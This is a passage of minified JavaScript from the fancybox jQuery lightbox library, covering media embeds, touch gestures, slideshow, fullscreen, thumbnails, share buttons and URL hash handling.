o=o||"","object"===t.type(o)&&(o=t.param(o,!0)),t.each(n,function(t,n){e=e.replace("$"+t,n||"")}),o.length&&(e+=(e.indexOf("?")>0?"&":"?")+o),e},n={youtube:{matcher:/(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,params:{autoplay:1,autohide:1,fs:1,rel:0,hd:1,wmode:"transparent",enablejsapi:1,html5:1},paramPlace:8,type:"iframe",url:"//www.youtube.com/embed/$4",thumb:"//img.youtube.com/vi/$4/hqdefault.jpg"},vimeo:{matcher:/^.+vimeo.com\/(.*\/)?([\d]+)(.*)?/,params:{autoplay:1,hd:1,show_title:1,show_byline:1,show_portrait:0,fullscreen:1,api:1},paramPlace:3,type:"iframe",url:"//player.vimeo.com/video/$2"},instagram:{matcher:/(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,type:"image",url:"//$1/p/$2/media/?size=l"},gmap_place:{matcher:/(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,type:"iframe",url:function(t){return"//maps.google."+t[2]+"/?ll="+(t[9]?t[9]+"&z="+Math.floor(t[10])+(t[12]?t[12].replace(/^\//,"&"):""):t[12]+"").replace(/\?/,"&")+"&output="+(t[12]&&t[12].indexOf("layer=c")>0?"svembed":"embed")}},gmap_search:{matcher:/(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(maps\/search\/)(.*)/i,type:"iframe",url:function(t){return"//maps.google."+t[2]+"/maps?q="+t[5].replace("query=","q=").replace("api=1","")+"&output=embed"}}};t(document).on("objectNeedsType.fb",function(o,i,a){var s,r,c,l,d,u,f,p=a.src||"",h=!1;s=t.extend(!0,{},n,a.opts.media),t.each(s,function(n,o){if(c=p.match(o.matcher)){if(h=o.type,f=n,u={},o.paramPlace&&c[o.paramPlace]){d=c[o.paramPlace],"?"==d[0]&&(d=d.substring(1)),d=d.split("&");for(var i=0;i<d.length;++i){var s=d[i].split("=",2);2==s.length&&(u[s[0]]=decodeURIComponent(s[1].replace(/\+/g," ")))}}return l=t.extend(!0,{},o.params,a.opts[n],u),p="function"===t.type(o.url)?o.url.call(this,c,l,a):e(o.url,c,l),r="function"===t.type(o.thumb)?o.thumb.call(this,c,l,a):e(o.thumb,c),"vimeo"===n&&(p=p.replace("&%23","#")),!1}}),h?(a.opts.thumb||a.opts.$thumb&&a.opts.$thumb.length||(a.opts.thumb=r),"iframe"===h&&(a.opts=t.extend(!0,a.opts,{iframe:{preload:!1,attr:{scrolling:"no"}}})),t.extend(a,{type:h,src:p,origSrc:a.src,contentSource:f,contentType:"image"===h?"image":"gmap_place"==f||"gmap_search"==f?"map":"video"})):p&&(a.type=a.opts.defaultType)})}(window.jQuery||jQuery),function(t,e,n){"use strict";var o=function(){return t.requestAnimationFrame||t.webkitRequestAnimationFrame||t.mozRequestAnimationFrame||t.oRequestAnimationFrame||function(e){return t.setTimeout(e,1e3/60)}}(),i=function(){return t.cancelAnimationFrame||t.webkitCancelAnimationFrame||t.mozCancelAnimationFrame||t.oCancelAnimationFrame||function(e){t.clearTimeout(e)}}(),a=function(e){var n=[];e=e.originalEvent||e||t.e,e=e.touches&&e.touches.length?e.touches:e.changedTouches&&e.changedTouches.length?e.changedTouches:[e];for(var o in e)e[o].pageX?n.push({x:e[o].pageX,y:e[o].pageY}):e[o].clientX&&n.push({x:e[o].clientX,y:e[o].clientY});return n},s=function(t,e,n){return e&&t?"x"===n?t.x-e.x:"y"===n?t.y-e.y:Math.sqrt(Math.pow(t.x-e.x,2)+Math.pow(t.y-e.y,2)):0},r=function(t){if(t.is('a,area,button,[role="button"],input,label,select,summary,textarea,video,audio')||n.isFunction(t.get(0).onclick)||t.data("selectable"))return!0;for(var e=0,o=t[0].attributes,i=o.length;e<i;e++)if("data-fancybox-"===o[e].nodeName.substr(0,14))return!0;return!1},c=function(e){var n=t.getComputedStyle(e)["overflow-y"],o=t.getComputedStyle(e)["overflow-x"],i=("scroll"===n||"auto"===n)&&e.scrollHeight>e.clientHeight,a=("scroll"===o||"auto"===o)&&e.scrollWidth>e.clientWidth;return i||a},l=function(t){for(var e=!1;;){if(e=c(t.get(0)))break;if(t=t.parent(),!t.length||t.hasClass("fancybox-stage")||t.is("body"))break}return e},d=function(t){var e=this;e.instance=t,e.$bg=t.$refs.bg,e.$stage=t.$refs.stage,e.$container=t.$refs.container,e.destroy(),e.$container.on("touchstart.fb.touch mousedown.fb.touch",n.proxy(e,"ontouchstart"))};d.prototype.destroy=function(){this.$container.off(".fb.touch")},d.prototype.ontouchstart=function(o){var i=this,c=n(o.target),d=i.instance,u=d.current,f=u.$content,p="touchstart"==o.type;if(p&&i.$container.off("mousedown.fb.touch"),(!o.originalEvent||2!=o.originalEvent.button)&&c.length&&!r(c)&&!r(c.parent())&&(c.is("img")||!(o.originalEvent.clientX>c[0].clientWidth+c.offset().left))){if(!u||d.isAnimating||d.isClosing)return o.stopPropagation(),void o.preventDefault();if(i.realPoints=i.startPoints=a(o),i.startPoints.length){if(o.stopPropagation(),i.startEvent=o,i.canTap=!0,i.$target=c,i.$content=f,i.opts=u.opts.touch,i.isPanning=!1,i.isSwiping=!1,i.isZooming=!1,i.isScrolling=!1,i.startTime=(new Date).getTime(),i.distanceX=i.distanceY=i.distance=0,i.canvasWidth=Math.round(u.$slide[0].clientWidth),i.canvasHeight=Math.round(u.$slide[0].clientHeight),i.contentLastPos=null,i.contentStartPos=n.fancybox.getTranslate(i.$content)||{top:0,left:0},i.sliderStartPos=i.sliderLastPos||n.fancybox.getTranslate(u.$slide),i.stagePos=n.fancybox.getTranslate(d.$refs.stage),i.sliderStartPos.top-=i.stagePos.top,i.sliderStartPos.left-=i.stagePos.left,i.contentStartPos.top-=i.stagePos.top,i.contentStartPos.left-=i.stagePos.left,n(e).off(".fb.touch").on(p?"touchend.fb.touch touchcancel.fb.touch":"mouseup.fb.touch mouseleave.fb.touch",n.proxy(i,"ontouchend")).on(p?"touchmove.fb.touch":"mousemove.fb.touch",n.proxy(i,"ontouchmove")),n.fancybox.isMobile&&e.addEventListener("scroll",i.onscroll,!0),!i.opts&&!d.canPan()||!c.is(i.$stage)&&!i.$stage.find(c).length)return void(c.is(".fancybox-image")&&o.preventDefault());n.fancybox.isMobile&&(l(c)||l(c.parent()))||o.preventDefault(),(1===i.startPoints.length||u.hasError)&&(i.instance.canPan()?(n.fancybox.stop(i.$content),i.$content.css("transition-duration",""),i.isPanning=!0):i.isSwiping=!0,i.$container.addClass("fancybox-controls--isGrabbing")),2===i.startPoints.length&&"image"===u.type&&(u.isLoaded||u.$ghost)&&(i.canTap=!1,i.isSwiping=!1,i.isPanning=!1,i.isZooming=!0,n.fancybox.stop(i.$content),i.$content.css("transition-duration",""),i.centerPointStartX=.5*(i.startPoints[0].x+i.startPoints[1].x)-n(t).scrollLeft(),i.centerPointStartY=.5*(i.startPoints[0].y+i.startPoints[1].y)-n(t).scrollTop(),i.percentageOfImageAtPinchPointX=(i.centerPointStartX-i.contentStartPos.left)/i.contentStartPos.width,i.percentageOfImageAtPinchPointY=(i.centerPointStartY-i.contentStartPos.top)/i.contentStartPos.height,i.startDistanceBetweenFingers=s(i.startPoints[0],i.startPoints[1]))}}},d.prototype.onscroll=function(t){var n=this;n.isScrolling=!0,e.removeEventListener("scroll",n.onscroll,!0)},d.prototype.ontouchmove=function(t){var e=this,o=n(t.target);return void 0!==t.originalEvent.buttons&&0===t.originalEvent.buttons?void e.ontouchend(t):e.isScrolling||!o.is(e.$stage)&&!e.$stage.find(o).length?void(e.canTap=!1):(e.newPoints=a(t),void((e.opts||e.instance.canPan())&&e.newPoints.length&&e.newPoints.length&&(e.isSwiping&&e.isSwiping===!0||t.preventDefault(),e.distanceX=s(e.newPoints[0],e.startPoints[0],"x"),e.distanceY=s(e.newPoints[0],e.startPoints[0],"y"),e.distance=s(e.newPoints[0],e.startPoints[0]),e.distance>0&&(e.isSwiping?e.onSwipe(t):e.isPanning?e.onPan():e.isZooming&&e.onZoom()))))},d.prototype.onSwipe=function(e){var a,s=this,r=s.isSwiping,c=s.sliderStartPos.left||0;if(r!==!0)"x"==r&&(s.distanceX>0&&(s.instance.group.length<2||0===s.instance.current.index&&!s.instance.current.opts.loop)?c+=Math.pow(s.distanceX,.8):s.distanceX<0&&(s.instance.group.length<2||s.instance.current.index===s.instance.group.length-1&&!s.instance.current.opts.loop)?c-=Math.pow(-s.distanceX,.8):c+=s.distanceX),s.sliderLastPos={top:"x"==r?0:s.sliderStartPos.top+s.distanceY,left:c},s.requestId&&(i(s.requestId),s.requestId=null),s.requestId=o(function(){s.sliderLastPos&&(n.each(s.instance.slides,function(t,e){var o=e.pos-s.instance.currPos;n.fancybox.setTranslate(e.$slide,{top:s.sliderLastPos.top,left:s.sliderLastPos.left+o*s.canvasWidth+o*e.opts.gutter})}),s.$container.addClass("fancybox-is-sliding"))});else if(Math.abs(s.distance)>10){if(s.canTap=!1,s.instance.group.length<2&&s.opts.vertical?s.isSwiping="y":s.instance.isDragging||s.opts.vertical===!1||"auto"===s.opts.vertical&&n(t).width()>800?s.isSwiping="x":(a=Math.abs(180*Math.atan2(s.distanceY,s.distanceX)/Math.PI),s.isSwiping=a>45&&a<135?"y":"x"),s.canTap=!1,"y"===s.isSwiping&&n.fancybox.isMobile&&(l(s.$target)||l(s.$target.parent())))return void(s.isScrolling=!0);s.instance.isDragging=s.isSwiping,s.startPoints=s.newPoints,n.each(s.instance.slides,function(t,e){n.fancybox.stop(e.$slide),e.$slide.css("transition-duration",""),e.inTransition=!1,e.pos===s.instance.current.pos&&(s.sliderStartPos.left=n.fancybox.getTranslate(e.$slide).left-n.fancybox.getTranslate(s.instance.$refs.stage).left)}),s.instance.SlideShow&&s.instance.SlideShow.isActive&&s.instance.SlideShow.stop()}},d.prototype.onPan=function(){var t=this;return s(t.newPoints[0],t.realPoints[0])<(n.fancybox.isMobile?10:5)?void(t.startPoints=t.newPoints):(t.canTap=!1,t.contentLastPos=t.limitMovement(),t.requestId&&(i(t.requestId),t.requestId=null),void(t.requestId=o(function(){n.fancybox.setTranslate(t.$content,t.contentLastPos)})))},d.prototype.limitMovement=function(){var t,e,n,o,i,a,s=this,r=s.canvasWidth,c=s.canvasHeight,l=s.distanceX,d=s.distanceY,u=s.contentStartPos,f=u.left,p=u.top,h=u.width,g=u.height;return i=h>r?f+l:f,a=p+d,t=Math.max(0,.5*r-.5*h),e=Math.max(0,.5*c-.5*g),n=Math.min(r-h,.5*r-.5*h),o=Math.min(c-g,.5*c-.5*g),l>0&&i>t&&(i=t-1+Math.pow(-t+f+l,.8)||0),l<0&&i<n&&(i=n+1-Math.pow(n-f-l,.8)||0),d>0&&a>e&&(a=e-1+Math.pow(-e+p+d,.8)||0),d<0&&a<o&&(a=o+1-Math.pow(o-p-d,.8)||0),{top:a,left:i}},d.prototype.limitPosition=function(t,e,n,o){var i=this,a=i.canvasWidth,s=i.canvasHeight;return n>a?(t=t>0?0:t,t=t<a-n?a-n:t):t=Math.max(0,a/2-n/2),o>s?(e=e>0?0:e,e=e<s-o?s-o:e):e=Math.max(0,s/2-o/2),{top:e,left:t}},d.prototype.onZoom=function(){var e=this,a=e.contentStartPos,r=a.width,c=a.height,l=a.left,d=a.top,u=s(e.newPoints[0],e.newPoints[1]),f=u/e.startDistanceBetweenFingers,p=Math.floor(r*f),h=Math.floor(c*f),g=(r-p)*e.percentageOfImageAtPinchPointX,b=(c-h)*e.percentageOfImageAtPinchPointY,m=(e.newPoints[0].x+e.newPoints[1].x)/2-n(t).scrollLeft(),y=(e.newPoints[0].y+e.newPoints[1].y)/2-n(t).scrollTop(),v=m-e.centerPointStartX,x=y-e.centerPointStartY,w=l+(g+v),$=d+(b+x),S={top:$,left:w,scaleX:f,scaleY:f};e.canTap=!1,e.newWidth=p,e.newHeight=h,e.contentLastPos=S,e.requestId&&(i(e.requestId),e.requestId=null),e.requestId=o(function(){n.fancybox.setTranslate(e.$content,e.contentLastPos)})},d.prototype.ontouchend=function(t){var o=this,s=Math.max((new Date).getTime()-o.startTime,1),r=o.isSwiping,c=o.isPanning,l=o.isZooming,d=o.isScrolling;return o.endPoints=a(t),o.$container.removeClass("fancybox-controls--isGrabbing"),n(e).off(".fb.touch"),e.removeEventListener("scroll",o.onscroll,!0),o.requestId&&(i(o.requestId),o.requestId=null),o.isSwiping=!1,o.isPanning=!1,o.isZooming=!1,o.isScrolling=!1,o.instance.isDragging=!1,o.canTap?o.onTap(t):(o.speed=366,o.velocityX=o.distanceX/s*.5,o.velocityY=o.distanceY/s*.5,o.speedX=Math.max(.5*o.speed,Math.min(1.5*o.speed,1/Math.abs(o.velocityX)*o.speed)),void(c?o.endPanning():l?o.endZooming():o.endSwiping(r,d)))},d.prototype.endSwiping=function(t,e){var o=this,i=!1,a=o.instance.group.length;o.sliderLastPos=null,"y"==t&&!e&&Math.abs(o.distanceY)>50?(n.fancybox.animate(o.instance.current.$slide,{top:o.sliderStartPos.top+o.distanceY+150*o.velocityY,opacity:0},200),i=o.instance.close(!0,200)):"x"==t&&o.distanceX>50&&a>1?i=o.instance.previous(o.speedX):"x"==t&&o.distanceX<-50&&a>1&&(i=o.instance.next(o.speedX)),i!==!1||"x"!=t&&"y"!=t||(e||a<2?o.instance.centerSlide(o.instance.current,150):o.instance.jumpTo(o.instance.current.index)),o.$container.removeClass("fancybox-is-sliding")},d.prototype.endPanning=function(){var t,e,o,i=this;i.contentLastPos&&(i.opts.momentum===!1?(t=i.contentLastPos.left,e=i.contentLastPos.top):(t=i.contentLastPos.left+i.velocityX*i.speed,e=i.contentLastPos.top+i.velocityY*i.speed),o=i.limitPosition(t,e,i.contentStartPos.width,i.contentStartPos.height),o.width=i.contentStartPos.width,o.height=i.contentStartPos.height,n.fancybox.animate(i.$content,o,330))},d.prototype.endZooming=function(){var t,e,o,i,a=this,s=a.instance.current,r=a.newWidth,c=a.newHeight;a.contentLastPos&&(t=a.contentLastPos.left,e=a.contentLastPos.top,i={top:e,left:t,width:r,height:c,scaleX:1,scaleY:1},n.fancybox.setTranslate(a.$content,i),r<a.canvasWidth&&c<a.canvasHeight?a.instance.scaleToFit(150):r>s.width||c>s.height?a.instance.scaleToActual(a.centerPointStartX,a.centerPointStartY,150):(o=a.limitPosition(t,e,r,c),n.fancybox.setTranslate(a.$content,n.fancybox.getTranslate(a.$content)),n.fancybox.animate(a.$content,o,150)))},d.prototype.onTap=function(e){var o,i=this,s=n(e.target),r=i.instance,c=r.current,l=e&&a(e)||i.startPoints,d=l[0]?l[0].x-n(t).scrollLeft()-i.stagePos.left:0,u=l[0]?l[0].y-n(t).scrollTop()-i.stagePos.top:0,f=function(t){var o=c.opts[t];if(n.isFunction(o)&&(o=o.apply(r,[c,e])),o)switch(o){case"close":r.close(i.startEvent);break;case"toggleControls":r.toggleControls(!0);break;case"next":r.next();break;case"nextOrClose":r.group.length>1?r.next():r.close(i.startEvent);break;case"zoom":"image"==c.type&&(c.isLoaded||c.$ghost)&&(r.canPan()?r.scaleToFit():r.isScaledDown()?r.scaleToActual(d,u):r.group.length<2&&r.close(i.startEvent))}};if((!e.originalEvent||2!=e.originalEvent.button)&&(s.is("img")||!(d>s[0].clientWidth+s.offset().left))){if(s.is(".fancybox-bg,.fancybox-inner,.fancybox-outer,.fancybox-container"))o="Outside";else if(s.is(".fancybox-slide"))o="Slide";else{if(!r.current.$content||!r.current.$content.find(s).addBack().filter(s).length)return;o="Content"}if(i.tapped){if(clearTimeout(i.tapped),i.tapped=null,Math.abs(d-i.tapX)>50||Math.abs(u-i.tapY)>50)return this;f("dblclick"+o)}else i.tapX=d,i.tapY=u,c.opts["dblclick"+o]&&c.opts["dblclick"+o]!==c.opts["click"+o]?i.tapped=setTimeout(function(){i.tapped=null,f("click"+o)},500):f("click"+o);return this}},n(e).on("onActivate.fb",function(t,e){e&&!e.Guestures&&(e.Guestures=new d(e))})}(window,document,window.jQuery||jQuery),function(t,e){"use strict";e.extend(!0,e.fancybox.defaults,{btnTpl:{slideShow:'<button data-fancybox-play class="fancybox-button fancybox-button--play" title="{{PLAY_START}}"><svg viewBox="0 0 40 40"><path d="M13,12 L27,20 L13,27 Z" /><path d="M15,10 v19 M23,10 v19" /></svg></button>'},slideShow:{autoStart:!1,speed:3e3}});var n=function(t){this.instance=t,this.init()};e.extend(n.prototype,{timer:null,isActive:!1,$button:null,init:function(){var t=this;t.$button=t.instance.$refs.toolbar.find("[data-fancybox-play]").on("click",function(){t.toggle()}),(t.instance.group.length<2||!t.instance.group[t.instance.currIndex].opts.slideShow)&&t.$button.hide()},set:function(t){var e=this;e.instance&&e.instance.current&&(t===!0||e.instance.current.opts.loop||e.instance.currIndex<e.instance.group.length-1)?e.timer=setTimeout(function(){e.isActive&&e.instance.jumpTo((e.instance.currIndex+1)%e.instance.group.length)},e.instance.current.opts.slideShow.speed):(e.stop(),e.instance.idleSecondsCounter=0,e.instance.showControls())},clear:function(){var t=this;clearTimeout(t.timer),t.timer=null},start:function(){var t=this,e=t.instance.current;e&&(t.isActive=!0,t.$button.attr("title",e.opts.i18n[e.opts.lang].PLAY_STOP).removeClass("fancybox-button--play").addClass("fancybox-button--pause"),t.set(!0))},stop:function(){var t=this,e=t.instance.current;t.clear(),t.$button.attr("title",e.opts.i18n[e.opts.lang].PLAY_START).removeClass("fancybox-button--pause").addClass("fancybox-button--play"),t.isActive=!1},toggle:function(){var t=this;t.isActive?t.stop():t.start()}}),e(t).on({"onInit.fb":function(t,e){e&&!e.SlideShow&&(e.SlideShow=new n(e))},"beforeShow.fb":function(t,e,n,o){var i=e&&e.SlideShow;o?i&&n.opts.slideShow.autoStart&&i.start():i&&i.isActive&&i.clear()},"afterShow.fb":function(t,e,n){var o=e&&e.SlideShow;o&&o.isActive&&o.set()},"afterKeydown.fb":function(n,o,i,a,s){var r=o&&o.SlideShow;!r||!i.opts.slideShow||80!==s&&32!==s||e(t.activeElement).is("button,a,input")||(a.preventDefault(),r.toggle())},"beforeClose.fb onDeactivate.fb":function(t,e){var n=e&&e.SlideShow;n&&n.stop()}}),e(t).on("visibilitychange",function(){var n=e.fancybox.getInstance(),o=n&&n.SlideShow;o&&o.isActive&&(t.hidden?o.clear():o.set())})}(document,window.jQuery||jQuery),function(t,e){"use strict";var n=function(){for(var e=[["requestFullscreen","exitFullscreen","fullscreenElement","fullscreenEnabled","fullscreenchange","fullscreenerror"],["webkitRequestFullscreen","webkitExitFullscreen","webkitFullscreenElement","webkitFullscreenEnabled","webkitfullscreenchange","webkitfullscreenerror"],["webkitRequestFullScreen","webkitCancelFullScreen","webkitCurrentFullScreenElement","webkitCancelFullScreen","webkitfullscreenchange","webkitfullscreenerror"],["mozRequestFullScreen","mozCancelFullScreen","mozFullScreenElement","mozFullScreenEnabled","mozfullscreenchange","mozfullscreenerror"],["msRequestFullscreen","msExitFullscreen","msFullscreenElement","msFullscreenEnabled","MSFullscreenChange","MSFullscreenError"]],n={},o=0;o<e.length;o++){var i=e[o];if(i&&i[1]in t){for(var a=0;a<i.length;a++)n[e[0][a]]=i[a];return n}}return!1}();if(!n)return void(e&&e.fancybox&&(e.fancybox.defaults.btnTpl.fullScreen=!1));var o={request:function(e){e=e||t.documentElement,e[n.requestFullscreen](e.ALLOW_KEYBOARD_INPUT)},exit:function(){t[n.exitFullscreen]()},toggle:function(e){e=e||t.documentElement,this.isFullscreen()?this.exit():this.request(e)},isFullscreen:function(){return Boolean(t[n.fullscreenElement])},enabled:function(){return Boolean(t[n.fullscreenEnabled])}};e.extend(!0,e.fancybox.defaults,{btnTpl:{fullScreen:'<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fullscreen" title="{{FULL_SCREEN}}"><svg viewBox="0 0 40 40"><path d="M9,12 v16 h22 v-16 h-22 v8" /></svg></button>'},fullScreen:{autoStart:!1}}),e(t).on({"onInit.fb":function(t,e){var n;e&&e.group[e.currIndex].opts.fullScreen?(n=e.$refs.container,n.on("click.fb-fullscreen","[data-fancybox-fullscreen]",function(t){t.stopPropagation(),t.preventDefault(),o.toggle()}),e.opts.fullScreen&&e.opts.fullScreen.autoStart===!0&&o.request(),e.FullScreen=o):e&&e.$refs.toolbar.find("[data-fancybox-fullscreen]").hide()},"afterKeydown.fb":function(t,e,n,o,i){e&&e.FullScreen&&70===i&&(o.preventDefault(),e.FullScreen.toggle())},"beforeClose.fb":function(t,e){e&&e.FullScreen&&e.$refs.container.hasClass("fancybox-is-fullscreen")&&o.exit()}}),e(t).on(n.fullscreenchange,function(){var t=o.isFullscreen(),n=e.fancybox.getInstance();n&&(n.current&&"image"===n.current.type&&n.isAnimating&&(n.current.$content.css("transition","none"),n.isAnimating=!1,n.update(!0,!0,0)),n.trigger("onFullscreenChange",t),n.$refs.container.toggleClass("fancybox-is-fullscreen",t))})}(document,window.jQuery||jQuery),function(t,e){"use strict";var n="fancybox-thumbs",o=n+"-active",i=n+"-loading";e.fancybox.defaults=e.extend(!0,{btnTpl:{thumbs:'<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="{{THUMBS}}"><svg viewBox="0 0 120 120"><path d="M30,30 h14 v14 h-14 Z M50,30 h14 v14 h-14 Z M70,30 h14 v14 h-14 Z M30,50 h14 v14 h-14 Z M50,50 h14 v14 h-14 Z M70,50 h14 v14 h-14 Z M30,70 h14 v14 h-14 Z M50,70 h14 v14 h-14 Z M70,70 h14 v14 h-14 Z" /></svg></button>'},thumbs:{autoStart:!1,hideOnClose:!0,parentEl:".fancybox-container",axis:"y"}},e.fancybox.defaults);var a=function(t){this.init(t)};e.extend(a.prototype,{$button:null,$grid:null,$list:null,isVisible:!1,isActive:!1,init:function(t){var e,n,o=this;o.instance=t,t.Thumbs=o,o.opts=t.group[t.currIndex].opts.thumbs,e=t.group[0],e=e.opts.thumb||!(!e.opts.$thumb||!e.opts.$thumb.length)&&e.opts.$thumb.attr("src"),t.group.length>1&&(n=t.group[1],n=n.opts.thumb||!(!n.opts.$thumb||!n.opts.$thumb.length)&&n.opts.$thumb.attr("src")),o.$button=t.$refs.toolbar.find("[data-fancybox-thumbs]"),o.opts&&e&&n&&e&&n?(o.$button.show().on("click",function(){o.toggle()}),o.isActive=!0):o.$button.hide()},create:function(){var t,o=this,a=o.instance,s=o.opts.parentEl,r=[];o.$grid||(o.$grid=e('<div class="'+n+" "+n+"-"+o.opts.axis+'"></div>').appendTo(a.$refs.container.find(s).addBack().filter(s)),o.$grid.on("click","li",function(){a.jumpTo(e(this).attr("data-index"))})),o.$list||(o.$list=e("<ul>").appendTo(o.$grid)),e.each(a.group,function(e,n){t=n.opts.thumb||(n.opts.$thumb?n.opts.$thumb.attr("src"):null),t||"image"!==n.type||(t=n.src),r.push('<li data-index="'+e+'" tabindex="0" class="'+i+'"'+(t&&t.length?' style="background-image:url('+t+')" />':"")+"></li>")}),o.$list[0].innerHTML=r.join(""),"x"===o.opts.axis&&o.$list.width(parseInt(o.$grid.css("padding-right"),10)+a.group.length*o.$list.children().eq(0).outerWidth(!0))},focus:function(t){var e,n,i=this,a=i.$list,s=i.$grid;i.instance.current&&(e=a.children().removeClass(o).filter('[data-index="'+i.instance.current.index+'"]').addClass(o),n=e.position(),"y"===i.opts.axis&&(n.top<0||n.top>a.height()-e.outerHeight())?a.stop().animate({scrollTop:a.scrollTop()+n.top},t):"x"===i.opts.axis&&(n.left<s.scrollLeft()||n.left>s.scrollLeft()+(s.width()-e.outerWidth()))&&a.parent().stop().animate({scrollLeft:n.left},t))},update:function(){var t=this;t.instance.$refs.container.toggleClass("fancybox-show-thumbs",this.isVisible),t.isVisible?(t.$grid||t.create(),t.instance.trigger("onThumbsShow"),t.focus(0)):t.$grid&&t.instance.trigger("onThumbsHide"),t.instance.update()},hide:function(){this.isVisible=!1,this.update()},show:function(){this.isVisible=!0,this.update()},toggle:function(){this.isVisible=!this.isVisible,this.update()}}),e(t).on({"onInit.fb":function(t,e){var n;e&&!e.Thumbs&&(n=new a(e),n.isActive&&n.opts.autoStart===!0&&n.show())},"beforeShow.fb":function(t,e,n,o){var i=e&&e.Thumbs;i&&i.isVisible&&i.focus(o?0:250)},"afterKeydown.fb":function(t,e,n,o,i){var a=e&&e.Thumbs;a&&a.isActive&&71===i&&(o.preventDefault(),a.toggle())},"beforeClose.fb":function(t,e){var n=e&&e.Thumbs;n&&n.isVisible&&n.opts.hideOnClose!==!1&&n.$grid.hide()}})}(document,window.jQuery||jQuery),function(t,e){"use strict";function n(t){var e={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#x2F;","`":"&#x60;","=":"&#x3D;"};return String(t).replace(/[&<>"'`=\/]/g,function(t){return e[t]})}e.extend(!0,e.fancybox.defaults,{btnTpl:{share:'<button data-fancybox-share class="fancybox-button fancybox-button--share" title="{{SHARE}}"><svg viewBox="0 0 40 40"><path d="M6,30 C8,18 19,16 23,16 L23,16 L23,10 L33,20 L23,29 L23,24 C19,24 8,27 6,30 Z"></svg></button>'},share:{url:function(t,e){return!t.currentHash&&"inline"!==e.type&&"html"!==e.type&&(e.origSrc||e.src)||window.location},tpl:'<div class="fancybox-share"><h1>{{SHARE}}</h1><p><a class="fancybox-share__button fancybox-share__button--fb" href="https://www.facebook.com/sharer/sharer.php?u={{url}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m287 456v-299c0-21 6-35 35-35h38v-63c-7-1-29-3-55-3-54 0-91 33-91 94v306m143-254h-205v72h196" /></svg><span>Facebook</span></a><a class="fancybox-share__button fancybox-share__button--tw" href="https://twitter.com/intent/tweet?url={{url}}&text={{descr}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m456 133c-14 7-31 11-47 13 17-10 30-27 37-46-15 10-34 16-52 20-61-62-157-7-141 75-68-3-129-35-169-85-22 37-11 86 26 109-13 0-26-4-37-9 0 39 28 72 65 80-12 3-25 4-37 2 10 33 41 57 77 57-42 30-77 38-122 34 170 111 378-32 359-208 16-11 30-25 41-42z" /></svg><span>Twitter</span></a><a class="fancybox-share__button fancybox-share__button--pt" href="https://www.pinterest.com/pin/create/button/?url={{url}}&description={{descr}}&media={{media}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m265 56c-109 0-164 78-164 144 0 39 15 74 47 87 5 2 10 0 12-5l4-19c2-6 1-8-3-13-9-11-15-25-15-45 0-58 43-110 113-110 62 0 96 38 96 88 0 67-30 122-73 122-24 0-42-19-36-44 6-29 20-60 20-81 0-19-10-35-31-35-25 0-44 26-44 60 0 21 7 36 7 36l-30 125c-8 37-1 83 0 87 0 3 4 4 5 2 2-3 32-39 42-75l16-64c8 16 31 29 56 29 74 0 124-67 124-157 0-69-58-132-146-132z" fill="#fff"/></svg><span>Pinterest</span></a></p><p><input class="fancybox-share__input" type="text" value="{{url_raw}}" /></p></div>'}}),e(t).on("click","[data-fancybox-share]",function(){var t,o,i=e.fancybox.getInstance(),a=i.current||null;a&&("function"===e.type(a.opts.share.url)&&(t=a.opts.share.url.apply(a,[i,a])),o=a.opts.share.tpl.replace(/\{\{media\}\}/g,"image"===a.type?encodeURIComponent(a.src):"").replace(/\{\{url\}\}/g,encodeURIComponent(t)).replace(/\{\{url_raw\}\}/g,n(t)).replace(/\{\{descr\}\}/g,i.$caption?encodeURIComponent(i.$caption.text()):""),e.fancybox.open({src:i.translate(i,o),type:"html",opts:{animationEffect:!1,afterLoad:function(t,e){i.$refs.container.one("beforeClose.fb",function(){t.close(null,0)}),e.$content.find(".fancybox-share__links a").click(function(){return window.open(this.href,"Share","width=550, height=450"),!1})}}}))})}(document,window.jQuery||jQuery),function(t,e,n){"use strict";function o(){var t=e.location.hash.substr(1),n=t.split("-"),o=n.length>1&&/^\+?\d+$/.test(n[n.length-1])?parseInt(n.pop(-1),10)||1:1,i=n.join("-");return{hash:t,index:o<1?1:o,gallery:i}}function i(t){var e;""!==t.gallery&&(e=n("[data-fancybox='"+n.escapeSelector(t.gallery)+"']").eq(t.index-1).trigger("click.fb-start"))}function a(t){var e,n;return!!t&&(e=t.current?t.current.opts:t.opts,n=e.hash||(e.$orig?e.$orig.data("fancybox"):""),""!==n&&n)}n.escapeSelector||(n.escapeSelector=function(t){var e=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,n=function(t,e){return e?"\0"===t?"�":t.slice(0,-1)+"\\"+t.charCodeAt(t.length-1).toString(16)+" ":"\\"+t};return(t+"").replace(e,n)}),n(function(){n.fancybox.defaults.hash!==!1&&(n(t).on({"onInit.fb":function(t,e){var n,i;e.group[e.currIndex].opts.hash!==!1&&(n=o(),i=a(e),i&&n.gallery&&i==n.gallery&&(e.currIndex=n.index-1))},"beforeShow.fb":function(n,o,i,s){var r;i&&i.opts.hash!==!1&&(r=a(o),r&&(o.currentHash=r+(o.group.length>1?"-"+(i.index+1):""),e.location.hash!=="#"+o.currentHash&&(o.origHash||(o.origHash=e.location.hash),o.hashTimer&&clearTimeout(o.hashTimer),o.hashTimer=setTimeout(function(){"replaceState"in e.history?(e.history[s?"pushState":"replaceState"]({},t.title,e.location.pathname+e.location.search+"#"+o.currentHash),s&&(o.hasCreatedHistory=!0)):e.location.hash=o.currentHash,o.hashTimer=null},300))))},"beforeClose.fb":function(n,o,i){var s;i.opts.hash!==!1&&(s=a(o),o.currentHash&&o.hasCreatedHistory?e.history.back():o.currentHash&&("replaceState"in 